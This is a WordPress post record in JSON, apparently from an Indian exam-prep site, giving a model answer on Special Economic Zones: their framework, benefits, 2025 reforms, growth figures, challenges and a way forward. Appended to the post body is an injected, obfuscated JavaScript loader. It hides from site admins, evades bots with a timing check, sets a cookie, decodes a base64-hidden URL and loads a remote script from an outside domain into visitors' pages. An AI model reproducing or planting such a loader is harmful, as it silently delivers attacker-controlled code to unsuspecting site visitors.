{"id":2200,"date":"2025-06-12T03:49:12","date_gmt":"2025-06-12T03:49:12","guid":{"rendered":"https:\/\/iasquest.com\/?p=2200"},"modified":"2026-02-11T18:55:17","modified_gmt":"2026-02-11T18:55:17","slug":"gs-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-17","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/gs-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-17\/","title":{"rendered":"GS III Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>Special Economic Zones (SPZ) in the Indian economy are yet to achieve the potential they are capable of. Critically analyze.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">Special economic zones (SEZ) are <strong>special areas within a country<\/strong> that offer <strong>incentives<\/strong> to business and trade regulations operating in those areas. The main objectives of the SEZ are generating additional economic activity, promoting exports of goods and services from the country, promoting foreign and domestic investment and creating more employment opportunities beside the development of infrastructure facilities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Salient features of SEZ Framework in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-4\">\n<li>The category \u2018SEZ\u2019 covers a <strong>broad range of zone types<\/strong>, few of which are free zones <strong>(FZs),<\/strong> industrial estates <strong>(IEs), <\/strong>and free ports, free trade zones <strong>(FTZs), <\/strong>export processing zones <strong>(EPZs).<\/strong><\/li>\n\n\n\n<li>For the purposes of authorized operations in the SEZ, a designated <strong>duty-free enclave shall be treated as a territory outside the customs territory of India.<\/strong><\/li>\n\n\n\n<li><strong>No license<\/strong> is needed to <strong>import<\/strong>.<\/li>\n\n\n\n<li><strong>Manufacturing and service<\/strong> industries are permitted.<\/li>\n\n\n\n<li>The unit must generate positive net foreign exchange during a five-year period after production starts.<\/li>\n\n\n\n<li><strong>Domestic sales are subject to all applicable customs duties<\/strong> and import regulations, but Special Economic Zone units are permitted to engage in subcontracting.<\/li>\n\n\n\n<li>No routine inspection of export\/import cargo by customs officials.<\/li>\n\n\n\n<li>According to the SEZs Act, 2005, SEZ developers, co-developers, and units are eligible for <strong>direct tax and indirect tax benefits.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>SEZ Benefits<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-6\">\n<li>simplified processes for creating, running and maintaining Special Economic Zones, as well as for establishing units and running businesses there.<\/li>\n\n\n\n<li>a single-window permit for the construction of a Special Economic Zone.<\/li>\n\n\n\n<li>clearance for a single window when constructing a unit in a special economic zone.<\/li>\n\n\n\n<li>clearance through a single window for issues involving the federal and state governments.<\/li>\n\n\n\n<li>Documentation and compliance processes that are more easily understood, with a focus on self-certification.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>In <em>June 2025<\/em>, the Government of India has announced the following <em>SEZ reforms<\/em>:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li>Minimum Land Requirement for Semiconductor and Electronics SEZs Reduced to 10 Hectares; Encumbrance Norms Eased<\/li>\n\n\n\n<li>It allows the value of goods received and supplied on a free-of-cost basis to be included in Net Foreign Exchange (NFE) calculations and assessed using applicable customs valuation rules.<\/li>\n\n\n\n<li>To allow SEZ units in semiconductor as well as electronics component manufacturing sector to also supply domestically into the Domestic Tariff area as well after payment of applicable duties.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Growth of SEZ in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>After the SEZ rules implemented in February 2006, the Department of Commerce allowed 424 formal approvals for establishing SEZs. As on April 30, 2024, 375 SEZs have been notified.<\/li>\n\n\n\n<li>Out of the total employment provided to 30,70,653 persons in SEZs, 29,35,949 jobs were incrementally generated after February 2006 till December 31, 2023. This number is excluding millions of man days of employment produced by the developers for infrastructure occupations.<\/li>\n\n\n\n<li>Physical exports from the SEZs increased from Rs. 9,90,747 crore (US$ 133 billion) in 2021-22 to Rs. 12,63,578 crore (US$ 157.24 billion) in 2022-23, registering a growth of 28% and Rs. 13,55,220 crore (US$ 163.67 billion) in 2023-24 marking a growth of 7%.<\/li>\n\n\n\n<li>Overall, exports grew at a CAGR of 23% over the past 18 years (2005-06 to 2023-24). Major export destinations include the UAE, the US, the UK, Australia and Singapore.<\/li>\n\n\n\n<li>The total investment in SEZs till December 31, 2023, is Rs. 6,92,914 crore (US$ 83.18 billion), including Rs. 6,26,514 crore (US$ 75.21 billion) in the newly notified SEZs set up after SEZ Act, 2005.<\/li>\n\n\n\n<li>As of March 31, 2024, there are 280 operational SEZs in India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Challenges faced by SEZs in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\">The SEZ experience in India has been disappointing so far. \u201cGiven the large gaps in attainment of the intended socioeconomic objectives by all the sectors of SEZs,\u201d the CAG concluded in its report on SEZS, \u201cthere is an urgent need for the government to assess the issues impeding the expansion of non-operational and under-performing zones.\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>The SEZS faces a number of difficulties, including the following:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>SEZs with<strong> unutilized land.<\/strong> Land in SEZs is not used in a variety of ways, which limits flexibility<\/li>\n\n\n\n<li>Existence of a<strong> variety of economic zones,<\/strong> including SEZs, Coastal Economic Zones, the Delhi-Mumbai Industrial Corridor, National Investment and Manufacturing Zones, Food Parks, and Textile Parks.<\/li>\n\n\n\n<li>SEZ <strong>domestic sales are at a disadvantage<\/strong> because they must pay full customs duty instead of the cheaper rates with ASEAN countries due to the Free Trade Agreement<\/li>\n\n\n\n<li>For <strong>services<\/strong> performed by SEZ units, domestic businesses must pay in <strong>foreign currency<\/strong>. The sale of <strong>products,<\/strong> for which payments might be made in <strong>rupee<\/strong> terms, is exempt from this rule.<\/li>\n\n\n\n<li>Government\u2019s inconsistent approach to SEZ tax exemptions in various ways.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">If properly reformed, SEZ could be the game changer for the Indian economy which is currently the fourth largest and fastest growing major economy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Way forward:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>Envision more<strong> flexible industrial enclaves,<\/strong> with stronger roles for <strong>state governments <\/strong>and a <strong>\u201cplug-and-play\u201d model.<\/strong><\/li>\n\n\n\n<li>To allow <strong>more domestic sales<\/strong> and to focus more on sectors with high employment potential.<\/li>\n\n\n\n<li>Another goal is to bring SEZs to smaller cities. Moving into <strong>Tier-2 and Tier-3 regions <\/strong>could help spread the economic gains more evenly across the country.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>News:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Govt Notifies SEZ Reforms to Boost Semiconductor and Electronics Component Manufacturing<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2135116\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2135116<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Special Economic Zones (SPZ) in the Indian economy are yet to achieve the potential they are capable of. Critically analyze. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2201,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[39,54,26,12],"tags":[],"class_list":["post-2200","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-daws","category-economic-development","category-gs-3","category-mains"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2200"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2200\/revisions"}],"predecessor-version":[{"id":3037,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2200\/revisions\/3037"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/2201"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2200"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}